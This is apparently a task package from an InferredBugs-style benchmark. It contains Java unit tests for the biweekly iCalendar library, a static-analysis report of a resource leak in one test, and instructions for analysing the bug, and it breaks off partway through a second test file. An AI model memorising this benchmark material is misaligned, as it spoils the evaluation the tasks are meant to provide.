+		String expected = 
+		"BEGIN:VCALENDAR\r\n" +
+			"VERSION:2\\.0 \\(beta\\)\r\n" +
+			"PRODID:.*?\r\n" +
+		"END:VCALENDAR\r\n";
+		//@formatter:on
+
+		String actual = sw.toString();
+		assertRegex(expected, actual);
+		assertWarnings(0, writer.getWarnings());
+	}
+
+	@Test
+	public void experimental_property() throws Exception {
+		ICalendar ical = new ICalendar();
+		ical.addExperimentalProperty("X-NUMBER", "1");
+		ical.addExperimentalProperty("X-NUMBER", "2");
+
+		StringWriter sw = new StringWriter();
+		ICalWriter writer = new ICalWriter(sw);
+		writer.write(ical);
+		writer.close();
+
+		//@formatter:off
+		String expected = 
+		"BEGIN:VCALENDAR\r\n" +
+			"VERSION:2\\.0\r\n" +
+			"PRODID:.*?\r\n" +
+			"X-NUMBER:1\r\n" +
+			"X-NUMBER:2\r\n" +
+		"END:VCALENDAR\r\n";
+		//@formatter:on
+
+		String actual = sw.toString();
+		assertRegex(expected, actual);
+		assertWarnings(0, writer.getWarnings());
+	}
+
+	@Test
+	public void experimental_property_marshaller() throws Exception {
+		ICalendar ical = new ICalendar();
+		ical.addProperty(new TestProperty("one"));
+		ical.addProperty(new TestProperty("two"));
+
+		StringWriter sw = new StringWriter();
+		ICalWriter writer = new ICalWriter(sw);
+		writer.registerMarshaller(new TestPropertyMarshaller());
+		writer.write(ical);
+		writer.close();
+
+		//@formatter:off
+		String expected = 
+		"BEGIN:VCALENDAR\r\n" +
+			"VERSION:2\\.0\r\n" +
+			"PRODID:.*?\r\n" +
+			"X-TEST:one\r\n" +
+			"X-TEST:two\r\n" +
+		"END:VCALENDAR\r\n";
+		//@formatter:on
+
+		String actual = sw.toString();
+		assertRegex(expected, actual);
+		assertWarnings(0, writer.getWarnings());
+	}
+
+	@Test
+	public void experimental_component() throws Exception {
+		ICalendar ical = new ICalendar();
+		ical.addExperimentalComponent("X-VPARTY");
+
+		StringWriter sw = new StringWriter();
+		ICalWriter writer = new ICalWriter(sw);
+		writer.write(ical);
+		writer.close();
+
+		//@formatter:off
+		String expected = 
+		"BEGIN:VCALENDAR\r\n" +
+			"VERSION:2\\.0\r\n" +
+			"PRODID:.*?\r\n" +
+			"BEGIN:X-VPARTY\r\n" +
+			"END:X-VPARTY\r\n" +
+		"END:VCALENDAR\r\n";
+		//@formatter:on
+
+		String actual = sw.toString();
+		assertRegex(expected, actual);
+		assertWarnings(0, writer.getWarnings());
+	}
+
+	@Test
+	public void experimental_component_marshaller() throws Exception {
+		ICalendar ical = new ICalendar();
+		ical.addComponent(new Party());
+
+		StringWriter sw = new StringWriter();
+		ICalWriter writer = new ICalWriter(sw);
+		writer.registerMarshaller(new PartyMarshaller());
+		writer.write(ical);
+		writer.close();
+
+		//@formatter:off
+		String expected = 
+		"BEGIN:VCALENDAR\r\n" +
+			"VERSION:2\\.0\r\n" +
+			"PRODID:.*?\r\n" +
+			"BEGIN:X-VPARTY\r\n" +
+			"END:X-VPARTY\r\n" +
+		"END:VCALENDAR\r\n";
+		//@formatter:on
+
+		String actual = sw.toString();
+		assertRegex(expected, actual);
+		assertWarnings(0, writer.getWarnings());
+	}
+
+	@Test
+	public void example1() throws Throwable {
+		ICalendar ical = new ICalendar();
+		ical.getProperties().clear();
+		ical.setProductId("-//xyz Corp//NONSGML PDA Calendar Version 1.0//EN");
+		ical.setVersion(Version.v2_0());
+		{
+			VEvent event = new VEvent();
+			event.getProperties().clear();
+			event.setDateTimeStamp(utcFormatter.parse("19960704T120000"));
+			event.setUid("uid1@example.com");
+			event.setOrganizer("jsmith@example.com");
+			event.setDateStart(utcFormatter.parse("19960918T143000"));
+			event.setDateEnd(utcFormatter.parse("19960920T220000"));
+			event.setStatus(Status.confirmed());
+			event.addCategories("CONFERENCE");
+			event.setSummary("Networld+Interop Conference");
+			event.setDescription("Networld+Interop Conferenceand Exhibit\nAtlanta World Congress Center\nAtlanta, Georgia");
+			ical.addEvent(event);
+		}
+
+		assertWarnings(0, ical.validate());
+		assertExample(ical, "rfc5545-example1.ics");
+	}
+
+	@Test
+	public void example2() throws Throwable {
+		VTimezone usEasternTz;
+		ICalendar ical = new ICalendar();
+		ical.getProperties().clear();
+		ical.setProductId("-//RDU Software//NONSGML HandCal//EN");
+		ical.setVersion(Version.v2_0());
+		{
+			usEasternTz = new VTimezone(null);
+			usEasternTz.setTimezoneId("America/New_York");
+			{
+				StandardTime standard = new StandardTime();
+				standard.setDateStart(localFormatter.parse("19981025T020000")).setLocalTime(true);
+				standard.setTimezoneOffsetFrom(-4, 0);
+				standard.setTimezoneOffsetTo(-5, 0);
+				standard.addTimezoneName("EST");
+				usEasternTz.addStandardTime(standard);
+			}
+			{
+				DaylightSavingsTime daylight = new DaylightSavingsTime();
+				daylight.setDateStart(localFormatter.parse("19990404T020000")).setLocalTime(true);
+				daylight.setTimezoneOffsetFrom(-5, 0);
+				daylight.setTimezoneOffsetTo(-4, 0);
+				daylight.addTimezoneName("EDT");
+				usEasternTz.addDaylightSavingsTime(daylight);
+			}
+			ical.addTimezone(usEasternTz);
+		}
+		{
+			VEvent event = new VEvent();
+			event.setDateTimeStamp(utcFormatter.parse("19980309T231000"));
+			event.setUid("guid-1.example.com");
+			event.setOrganizer("mrbig@example.com");
+
+			Attendee attendee = Attendee.email("employee-A@example.com");
+			attendee.setRsvp(true);
+			attendee.setRole(Role.REQ_PARTICIPANT);
+			attendee.setCalendarUserType(CalendarUserType.GROUP);
+			event.addAttendee(attendee);
+
+			event.setDescription("Project XYZ Review Meeting");
+			event.addCategories("MEETING");
+			event.setClassification(Classification.public_());
+			event.setCreated(utcFormatter.parse("19980309T130000"));
+			event.setSummary("XYZ Project Review");
+			event.setDateStart(usEasternFormatter.parse("19980312T083000")).setTimezone(usEasternTz);
+			event.setDateEnd(usEasternFormatter.parse("19980312T093000")).setTimezone(usEasternTz);
+			event.setLocation("1CP Conference Room 4350");
+			ical.addEvent(event);
+		}
+
+		assertWarnings(0, ical.validate());
+		assertExample(ical, "rfc5545-example2.ics");
+	}
+
+	@Test
+	public void example3() throws Throwable {
+		ICalendar ical = new ICalendar();
+		ical.getProperties().clear();
+		ical.setMethod("xyz");
+		ical.setVersion(Version.v2_0());
+		ical.setProductId("-//ABC Corporation//NONSGML My Product//EN");
+		{
+			VEvent event = new VEvent();
+			event.getProperties().clear();
+			event.setDateTimeStamp(utcFormatter.parse("19970324T120000"));
+			event.setSequence(0);
+			event.setUid("uid3@example.com");
+			event.setOrganizer("jdoe@example.com");
+
+			Attendee attendee = Attendee.email("jsmith@example.com");
+			attendee.setRsvp(true);
+			event.addAttendee(attendee);
+
+			event.setDateStart(utcFormatter.parse("19970324T123000"));
+			event.setDateEnd(utcFormatter.parse("19970324T210000"));
+			event.addCategories("MEETING", "PROJECT");
+			event.setClassification(Classification.public_());
+			event.setSummary("Calendaring Interoperability Planning Meeting");
+			event.setDescription("Discuss how we can test c&s interoperability\nusing iCalendar and other IETF standards.");
+			event.setLocation("LDB Lobby");
+
+			Attachment attach = new Attachment("application/postscript", "ftp://example.com/pub/conf/bkgrnd.ps");
+			event.addAttachment(attach);
+
+			ical.addEvent(event);
+		}
+
+		assertWarnings(0, ical.validate());
+		assertExample(ical, "rfc5545-example3.ics");
+	}
+
+	@Test
+	public void example4() throws Throwable {
+		ICalendar ical = new ICalendar();
+		ical.getProperties().clear();
+		ical.setVersion(Version.v2_0());
+		ical.setProductId("-//ABC Corporation//NONSGML My Product//EN");
+		{
+			VTodo todo = new VTodo();
+			todo.getProperties().clear();
+			todo.setDateTimeStamp(utcFormatter.parse("19980130T134500"));
+			todo.setSequence(2);
+			todo.setUid("uid4@example.com");
+			todo.setOrganizer("unclesam@example.com");
+
+			Attendee attendee = Attendee.email("jqpublic@example.com");
+			attendee.setParticipationStatus(ParticipationStatus.ACCEPTED);
+			todo.addAttendee(attendee);
+
+			todo.setDateDue(localFormatter.parse("19980415T000000")).setLocalTime(true);
+			todo.setStatus(Status.needsAction());
+			todo.setSummary("Submit Income Taxes");
+			{
+				Trigger trigger = new Trigger(utcFormatter.parse("19980403T120000"));
+				Attachment attach = new Attachment("audio/basic", "http://example.com/pub/audio-files/ssbanner.aud");
+				VAlarm alarm = VAlarm.audio(trigger, attach);
+				alarm.setRepeat(4);
+				alarm.setDuration(new Duration.Builder().hours(1).build());
+				todo.addAlarm(alarm);
+			}
+
+			ical.addTodo(todo);
+		}
+
+		assertWarnings(0, ical.validate());
+		assertExample(ical, "rfc5545-example4.ics");
+	}
+
+	@Test
+	public void example5() throws Throwable {
+		ICalendar ical = new ICalendar();
+		ical.getProperties().clear();
+		ical.setVersion(Version.v2_0());
+		ical.setProductId("-//ABC Corporation//NONSGML My Product//EN");
+		{
+			VJournal journal = new VJournal();
+			journal.getProperties().clear();
+			journal.setDateTimeStamp(utcFormatter.parse("19970324T120000"));
+			journal.setUid("uid5@example.com");
+			journal.setOrganizer("jsmith@example.com");
+			journal.setStatus(Status.draft());
+			journal.setClassification(Classification.public_());
+			journal.addCategories("Project Report", "XYZ", "Weekly Meeting");
+			journal.addDescription("Project xyz Review Meeting Minutes\nAgenda\n1. Review of project version 1.0 requirements.\n2.Definitionof project processes.\n3. Review of project schedule.\nParticipants: John Smith, Jane Doe, Jim Dandy\n-It wasdecided that the requirements need to be signed off byproduct marketing.\n-Project processes were accepted.\n-Project schedule needs to account for scheduled holidaysand employee vacation time. Check with HR for specificdates.\n-New schedule will be distributed by Friday.\n-Next weeks meeting is cancelled. No meeting until 3/23.");
+			ical.addJournal(journal);
+		}
+
+		assertWarnings(0, ical.validate());
+		assertExample(ical, "rfc5545-example5.ics");
+	}
+
+	@Test
+	public void example6() throws Throwable {
+		ICalendar ical = new ICalendar();
+		ical.getProperties().clear();
+		ical.setVersion(Version.v2_0());
+		ical.setProductId("-//RDU Software//NONSGML HandCal//EN");
+		{
+			VFreeBusy freebusy = new VFreeBusy();
+			freebusy.getProperties().clear();
+			freebusy.setOrganizer("jsmith@example.com");
+			freebusy.setDateStart(utcFormatter.parse("19980313T141711"));
+			freebusy.setDateEnd(utcFormatter.parse("19980410T141711"));
+
+			FreeBusy fb = new FreeBusy();
+			fb.addValue(utcFormatter.parse("19980314T233000"), utcFormatter.parse("19980315T003000"));
+			freebusy.addFreeBusy(fb);
+
+			fb = new FreeBusy();
+			fb.addValue(utcFormatter.parse("19980316T153000"), utcFormatter.parse("19980316T163000"));
+			freebusy.addFreeBusy(fb);
+
+			fb = new FreeBusy();
+			fb.addValue(utcFormatter.parse("19980318T030000"), utcFormatter.parse("19980318T040000"));
+			freebusy.addFreeBusy(fb);
+
+			freebusy.setUrl("http://www.example.com/calendar/busytime/jsmith.ifb");
+			ical.addFreeBusy(freebusy);
+		}
+
+		assertWarnings(2, ical.validate()); //UID and DTSTAMP missing
+		assertExample(ical, "rfc5545-example6.ics");
+	}
+
+	private void assertExample(ICalendar ical, String exampleFileName) throws IOException {
+		StringWriter sw = new StringWriter();
+		ICalWriter writer = new ICalWriter(sw, null);
+		writer.write(ical);
+		writer.close();
+
+		String expected = new String(IOUtils.toByteArray(getClass().getResourceAsStream(exampleFileName)));
+		expected = expected.replaceAll("([^\r])\n", "$1\r\n"); //replace \n with \r\n
+		expected = expected.replaceAll("\r\n ", ""); //unfold folded lines
+
+		String actual = sw.toString();
+
+		assertEquals(expected, actual);
+	}
+
+	private class TestProperty extends ICalProperty {
+		private String value;
+
+		public TestProperty(String value) {
+			this.value = value;
+		}
+
+		public String getValue() {
+			return value;
+		}
+	}
+
+	private class TestPropertyMarshaller extends ICalPropertyMarshaller<TestProperty> {
+		public TestPropertyMarshaller() {
+			super(TestProperty.class, "X-TEST");
+		}
+
+		@Override
+		protected String _writeText(TestProperty property) {
+			return property.getValue();
+		}
+
+		@Override
+		protected TestProperty _parseText(String value, ICalParameters parameters, List<String> warnings) {
+			return new TestProperty(value);
+		}
+	}
+
+	private class BadNameMarshaller extends ICalPropertyMarshaller<TestProperty> {
+		public BadNameMarshaller() {
+			super(TestProperty.class, "BAD*NAME");
+		}
+
+		@Override
+		protected String _writeText(TestProperty property) {
+			return property.getValue();
+		}
+
+		@Override
+		protected TestProperty _parseText(String value, ICalParameters parameters, List<String> warnings) {
+			return new TestProperty(value);
+		}
+	}
+
+	private class SkipMeMarshaller extends ICalPropertyMarshaller<TestProperty> {
+		public SkipMeMarshaller() {
+			super(TestProperty.class, "NAME");
+		}
+
+		@Override
+		protected String _writeText(TestProperty property) {
+			throw new SkipMeException("Skipped");
+		}
+
+		@Override
+		protected TestProperty _parseText(String value, ICalParameters parameters, List<String> warnings) {
+			return new TestProperty(value);
+		}
+	}
+
+	private class MyVersionMarshaller extends ICalPropertyMarshaller<Version> {
+		public MyVersionMarshaller() {
+			super(Version.class, "VERSION");
+		}
+
+		@Override
+		protected String _writeText(Version property) {
+			return property.getMaxVersion() + " (beta)";
+		}
+
+		@Override
+		protected Version _parseText(String value, ICalParameters parameters, List<String> warnings) {
+			return new Version(value);
+		}
+	}
+
+	private class PartyMarshaller extends ICalComponentMarshaller<Party> {
+		public PartyMarshaller() {
+			super(Party.class, "X-VPARTY");
+		}
+
+		@Override
+		protected Party _newInstance() {
+			return new Party();
+		}
+	}
+
+	private class Party extends ICalComponent {
+		//empty
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `biweekly.io.text.ICalRawWriter` acquired by call to `ICalWriter(...)` at line 410 is not released after line 427.
+**Note**: potential exception at line 411
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ICalWriterTest.experimental_component()
+
+### Procedure Id:
+biweekly.io.text.ICalWriterTest.experimental_component():void.3789c902c5ea94b79389ab6db2e0e9d4
+
+### File:
+src/test/java/biweekly/io/text/ICalWriterTest.java
+
+### Key:
+ICalWriterTest.java|experimental_component|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+5381f2927045fe45c2280130157c75ca
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10688/instruction.md b/inferredbugs-10688/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..662cb5042f335d815dd6d500b49d0573f5561465
--- /dev/null
+++ b/inferredbugs-10688/instruction.md
@@ -0,0 +1,746 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** biweekly
+**Bug ID:** 41
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package biweekly.io.json;
+
+import static biweekly.util.TestUtils.assertWarnings;
+import static biweekly.util.TestUtils.buildTimezone;
+import static org.junit.Assert.assertEquals;
+
+import java.io.IOException;
+import java.io.StringWriter;
+import java.text.DateFormat;
+import java.text.SimpleDateFormat;
+import java.util.Arrays;
+import java.util.List;
+import java.util.TimeZone;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import biweekly.ICalendar;
+import biweekly.component.DaylightSavingsTime;
+import biweekly.component.ICalComponent;
+import biweekly.component.StandardTime;
+import biweekly.component.VEvent;
+import biweekly.component.VTimezone;
+import biweekly.component.marshaller.ICalComponentMarshaller;
+import biweekly.io.SkipMeException;
+import biweekly.parameter.ICalParameters;
+import biweekly.parameter.Value;
+import biweekly.property.CalendarScale;
+import biweekly.property.DateStart;
+import biweekly.property.ICalProperty;
+import biweekly.property.RawProperty;
+import biweekly.property.RecurrenceDates;
+import biweekly.property.RecurrenceRule;
+import biweekly.property.RecurrenceRule.DayOfWeek;
+import biweekly.property.RecurrenceRule.Frequency;
+import biweekly.property.Version;
+import biweekly.property.marshaller.ICalPropertyMarshaller;
+import biweekly.util.Duration;
+import biweekly.util.IOUtils;
+import biweekly.util.Period;
+
+/*
+ Copyright (c) 2013, Michael Angstadt
+ All rights reserved.
+
+ Redistribution and use in source and binary forms, with or without
+ modification, are permitted provided that the following conditions are met: 
+
+ 1. Redistributions of source code must retain the above copyright notice, this
+ list of conditions and the following disclaimer. 
+ 2. Redistributions in binary form must reproduce the above copyright notice,
+ this list of conditions and the following disclaimer in the documentation
+ and/or other materials provided with the distribution. 
+
+ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
+ ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+/**
+ * @author Michael Angstadt
+ */
+public class JCalWriterTest {
+	private static TimeZone defaultTz;
+	private final DateFormat utcFormatter;
+	{
+		utcFormatter = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss");
+		utcFormatter.setTimeZone(TimeZone.getTimeZone("UTC"));
+	}
+	private final DateFormat usEasternFormatter;
+	{
+		usEasternFormatter = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss");
+		usEasternFormatter.setTimeZone(TimeZone.getTimeZone("US/Eastern"));
+	}
+	private final DateFormat localFormatter = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss");
+	private final DateFormat dateFormatter = new SimpleDateFormat("yyyy-MM-dd");
+
+	@BeforeClass
+	public static void beforeClass() {
+		//change the default timezone because my timezone is "US/Eastern", which is what the example jCal documents use
+		defaultTz = TimeZone.getDefault();
+		TimeZone.setDefault(buildTimezone(1, 0));
+	}
+
+	@AfterClass
+	public static void afterClass() {
+		TimeZone.setDefault(defaultTz);
+	}
+
+	@Test
+	public void basic() throws Throwable {
+		ICalendar ical = new ICalendar();
+		ical.setProductId("prodid");
+
+		VEvent event = new VEvent();
+		event.getProperties().clear();
+		event.setSummary("summary");
+		ical.addEvent(event);
+
+		StringWriter sw = new StringWriter();
+		JCalWriter writer = new JCalWriter(sw);
+		writer.write(ical);
+		writer.close();
+
+		//@formatter:off
+		String expected =
+		"[\"vcalendar\"," +
+			"[" +
+				"[\"version\",{},\"text\",\"2.0\"]," +
+				"[\"prodid\",{},\"text\",\"prodid\"]" +
+			"]," +
+			"[" +
+				"[\"vevent\"," +
+					"[" +
+						"[\"summary\",{},\"text\",\"summary\"]" +
+					"]," +
+					"[" +
+					"]" +
+				"]" +
+			"]" +
+		"]";
+		//@formatter:on
+		String actual = sw.toString();
+		assertEquals(expected, actual);
+	}
+
+	@Test
+	public void write_multiple() throws Throwable {
+		ICalendar ical1 = new ICalendar();
+		ical1.setProductId("prodid1");
+
+		VEvent event = new VEvent();
+		event.getProperties().clear();
+		event.setSummary("summary1");
+		ical1.addEvent(event);
+
+		ICalendar ical2 = new ICalendar();
+		ical2.setProductId("prodid2");
+
+		event = new VEvent();
+		event.getProperties().clear();
+		event.setSummary("summary2");
+		ical2.addEvent(event);
+
+		StringWriter sw = new StringWriter();
+		JCalWriter writer = new JCalWriter(sw, true);
+		writer.write(ical1);
+		writer.write(ical2);
+		writer.close();
+
+		//@formatter:off
+		String expected =
+		"[" +
+			"[\"vcalendar\"," +
+				"[" +
+					"[\"version\",{},\"text\",\"2.0\"]," +
+					"[\"prodid\",{},\"text\",\"prodid1\"]" +
+				"]," +
+				"[" +
+					"[\"vevent\"," +
+						"[" +
+							"[\"summary\",{},\"text\",\"summary1\"]" +
+						"]," +
+						"[" +
+						"]" +
+					"]" +
+				"]" +
+			"]," +
+			"[\"vcalendar\"," +
+				"[" +
+					"[\"version\",{},\"text\",\"2.0\"]," +
+					"[\"prodid\",{},\"text\",\"prodid2\"]" +
+				"]," +
+				"[" +
+					"[\"vevent\"," +
+						"[" +
+							"[\"summary\",{},\"text\",\"summary2\"]" +
+						"]," +
+						"[" +
+						"]" +
+					"]" +
+				"]" +
+			"]" +
+		"]";
+		//@formatter:on
+		String actual = sw.toString();
+		assertEquals(expected, actual);
+	}
+
+	@Test
+	public void write_multiple_components() throws Throwable {
+		ICalendar ical = new ICalendar();
+		ical.setProductId("prodid");
+
+		VEvent event = new VEvent();
+		event.getProperties().clear();
+		event.setSummary("summary1");
+		ical.addEvent(event);
+
+		event = new VEvent();
+		event.getProperties().clear();
+		event.setSummary("summary2");
+		ical.addEvent(event);
+
+		StringWriter sw = new StringWriter();
+		JCalWriter writer = new JCalWriter(sw);
+		writer.write(ical);
+		writer.close();
+
+		//@formatter:off
+		String expected =
+		"[\"vcalendar\"," +
+			"[" +
+				"[\"version\",{},\"text\",\"2.0\"]," +
+				"[\"prodid\",{},\"text\",\"prodid\"]" +
+			"]," +
+			"[" +
+				"[\"vevent\"," +
+					"[" +
+						"[\"summary\",{},\"text\",\"summary1\"]" +
+					"]," +
+					"[" +
+					"]" +
+				"]," +
+				"[\"vevent\"," +
+					"[" +
+						"[\"summary\",{},\"text\",\"summary2\"]" +
+					"]," +
+					"[" +
+					"]" +
+				"]" +
+			"]" +
+		"]";
+		//@formatter:on
+		String actual = sw.toString();
+		assertEquals(expected, actual);
+	}
+
+	@Test
+	public void write_empty() throws Throwable {
+		ICalendar ical = new ICalendar();
+		ical.getProperties().clear();
+
+		StringWriter sw = new StringWriter();
+		JCalWriter writer = new JCalWriter(sw);
+		writer.write(ical);
+		writer.close();
+
+		//@formatter:off
+		String expected =
+		"[\"vcalendar\"," +
+			"[" +
+			"]," +
+			"[" +
+			"]" +
+		"]";
+		//@formatter:on
+		String actual = sw.toString();
+		assertEquals(expected, actual);
+	}
+
+	@Test(expected = IllegalArgumentException.class)
+	public void no_property_marshaller() throws Throwable {
+		ICalendar ical = new ICalendar();
+		ical.setProductId("prodid");
+		ical.addProperty(new TestProperty("value"));
+
+		StringWriter sw = new StringWriter();
+		JCalWriter writer = new JCalWriter(sw);
+		writer.write(ical);
+	}
+
+	@Test(expected = IllegalArgumentException.class)
+	public void no_component_marshaller() throws Throwable {
+		ICalendar ical = new ICalendar();
+		ical.setProductId("prodid");
+		ical.addComponent(new Party());
+
+		StringWriter sw = new StringWriter();
+		JCalWriter writer = new JCalWriter(sw);
+		writer.write(ical);
+	}
+
+	@Test
+	public void skipMeException() throws Throwable {
+		ICalendar ical = new ICalendar();
+		ical.setProductId("prodid");
+		ical.addProperty(new TestProperty("value"));
+
+		StringWriter sw = new StringWriter();
+		JCalWriter writer = new JCalWriter(sw);
+		writer.registerMarshaller(new SkipMeMarshaller());
+		writer.write(ical);
+		writer.close();
+
+		//@formatter:off
+		String expected =
+		"[\"vcalendar\"," +
+			"[" +
+				"[\"version\",{},\"text\",\"2.0\"]," +
+				"[\"prodid\",{},\"text\",\"prodid\"]" +
+			"]," +
+			"[" +
+			"]" +
+		"]";
+		//@formatter:on
+		String actual = sw.toString();
+		assertEquals(expected, actual);
+	}
+
+	@Test
+	public void override_marshaller() throws Throwable {
+		ICalendar ical = new ICalendar();
+		ical.setProductId("prodid");
+
+		StringWriter sw = new StringWriter();
+		JCalWriter writer = new JCalWriter(sw);
+		writer.registerMarshaller(new MyVersionMarshaller());
+		writer.write(ical);
+		writer.close();
+
+		//@formatter:off
+		String expected =
+		"[\"vcalendar\"," +
+			"[" +
+				"[\"version\",{},\"text\",\"2.0 (beta)\"]," +
+				"[\"prodid\",{},\"text\",\"prodid\"]" +
+			"]," +
+			"[" +
+			"]" +
+		"]";
+		//@formatter:on
+		String actual = sw.toString();
+		assertEquals(expected, actual);
+	}
+
+	@Test
+	public void experimental_property() throws Throwable {
+		ICalendar ical = new ICalendar();
+		ical.setProductId("prodid");
+		ical.addExperimentalProperty("X-NUMBER", "1");
+		RawProperty prop = ical.addExperimentalProperty("X-NUMBER", "2");
+		prop.getParameters().setValue(Value.INTEGER);
+
+		StringWriter sw = new StringWriter();
+		JCalWriter writer = new JCalWriter(sw);
+		writer.write(ical);
+		writer.close();
+
+		//@formatter:off
+		String expected =
+		"[\"vcalendar\"," +
+			"[" +
+				"[\"version\",{},\"text\",\"2.0\"]," +
+				"[\"prodid\",{},\"text\",\"prodid\"]," +
+				"[\"x-number\",{},\"unknown\",\"1\"]," +
+				"[\"x-number\",{},\"integer\",\"2\"]" +
+			"]," +
+			"[" +
+			"]" +
+		"]";
+		//@formatter:on
+		String actual = sw.toString();
+		assertEquals(expected, actual);
+	}
+
+	@Test
+	public void experimental_property_marshaller() throws Throwable {
+		ICalendar ical = new ICalendar();
+		ical.setProductId("prodid");
+		ical.addProperty(new TestProperty("one"));
+		ical.addProperty(new TestProperty("two"));
+
+		StringWriter sw = new StringWriter();
+		JCalWriter writer = new JCalWriter(sw);
+		writer.registerMarshaller(new TestPropertyMarshaller());
+		writer.write(ical);
+		writer.close();
+
+		//@formatter:off
+		String expected =
+		"[\"vcalendar\"," +
+			"[" +
+				"[\"version\",{},\"text\",\"2.0\"]," +
+				"[\"prodid\",{},\"text\",\"prodid\"]," +
+				"[\"x-test\",{},\"text\",\"one\"]," +
+				"[\"x-test\",{},\"text\",\"two\"]" +
+			"]," +
+			"[" +
+			"]" +
+		"]";
+		//@formatter:on
+		String actual = sw.toString();
+		assertEquals(expected, actual);
+	}
+
+	@Test
+	public void experimental_component() throws Throwable {
+		ICalendar ical = new ICalendar();
+		ical.setProductId("prodid");
+		ical.addExperimentalComponent("X-VPARTY");
+
+		StringWriter sw = new StringWriter();
+		JCalWriter writer = new JCalWriter(sw);
+		writer.write(ical);
+		writer.close();
+
+		//@formatter:off
+		String expected =
+		"[\"vcalendar\"," +
+			"[" +
+				"[\"version\",{},\"text\",\"2.0\"]," +
+				"[\"prodid\",{},\"text\",\"prodid\"]" +
+			"]," +
+			"[" +
+				"[\"x-vparty\"," +
+					"[" +
+					"]," +
+					"[" +
+					"]" +
+				"]" +
+			"]" +
+		"]";
+		//@formatter:on
+		String actual = sw.toString();
+		assertEquals(expected, actual);
+	}
+
+	@Test
+	public void experimental_component_marshaller() throws Throwable {
+		ICalendar ical = new ICalendar();
+		ical.setProductId("prodid");
+		ical.addComponent(new Party());
+
+		StringWriter sw = new StringWriter();
+		JCalWriter writer = new JCalWriter(sw);
+		writer.registerMarshaller(new PartyMarshaller());
+		writer.write(ical);
+		writer.close();
+
+		//@formatter:off
+		String expected =
+		"[\"vcalendar\"," +
+			"[" +
+				"[\"version\",{},\"text\",\"2.0\"]," +
+				"[\"prodid\",{},\"text\",\"prodid\"]" +
+			"]," +
+			"[" +
+				"[\"x-vparty\"," +
+					"[" +
+					"]," +
+					"[" +
+					"]" +
+				"]" +
+			"]" +
+		"]";
+		//@formatter:on
+		String actual = sw.toString();
+		assertEquals(expected, actual);
+	}
+
+	@Test
+	public void jcal_draft_example1() throws Throwable {
+		//see: http://tools.ietf.org/html/draft-ietf-jcardcal-jcal-05#page-25
+		//Note: all whitespace is removed from the expected JSON string it easier to compare it with the actual result
+		ICalendar ical = new ICalendar();
+		ical.getProperties().clear();
+		ical.setCalendarScale(CalendarScale.gregorian());
+		ical.setProductId("-//ExampleInc.//ExampleCalendar//EN");
+		ical.setVersion(Version.v2_0());
+		{
+			VEvent event = new VEvent();
+			event.getProperties().clear();
+			event.setDateTimeStamp(utcFormatter.parse("2008-02-05T19:12:24"));
+			event.setDateStart(new DateStart(dateFormatter.parse("2008-10-06"), false));
+			event.setSummary("Planningmeeting");
+			event.setUid("4088E990AD89CB3DBB484909");
+			ical.addEvent(event);
+		}
+
+		assertWarnings(0, ical.validate());
+		assertExample(ical, "jcal-draft-example1.json");
+	}
+
+	@Test
+	public void jcal_draft_example2() throws Throwable {
+		//see: http://tools.ietf.org/html/draft-ietf-jcardcal-jcal-05#page-27
+		//Note: all whitespace is removed from the expected JSON string it easier to compare it with the actual result
+		VTimezone usEasternTz;
+		ICalendar ical = new ICalendar();
+		ical.getProperties().clear();
+		ical.setProductId("-//ExampleCorp.//ExampleClient//EN");
+		ical.setVersion(Version.v2_0());
+		{
+			usEasternTz = new VTimezone(null);
+			usEasternTz.setLastModified(utcFormatter.parse("2004-01-10T03:28:45"));
+			usEasternTz.setTimezoneId("US/Eastern");
+			{
+				DaylightSavingsTime daylight = new DaylightSavingsTime();
+				daylight.setDateStart(localFormatter.parse("2000-04-04T02:00:00")).setLocalTime(true);
+
+				RecurrenceRule rrule = new RecurrenceRule(Frequency.YEARLY);
+				rrule.addByDay(1, DayOfWeek.SUNDAY);
+				rrule.addByMonth(4);
+				daylight.setRecurrenceRule(rrule);
+
+				daylight.addTimezoneName("EDT");
+				daylight.setTimezoneOffsetFrom(-5, 0);
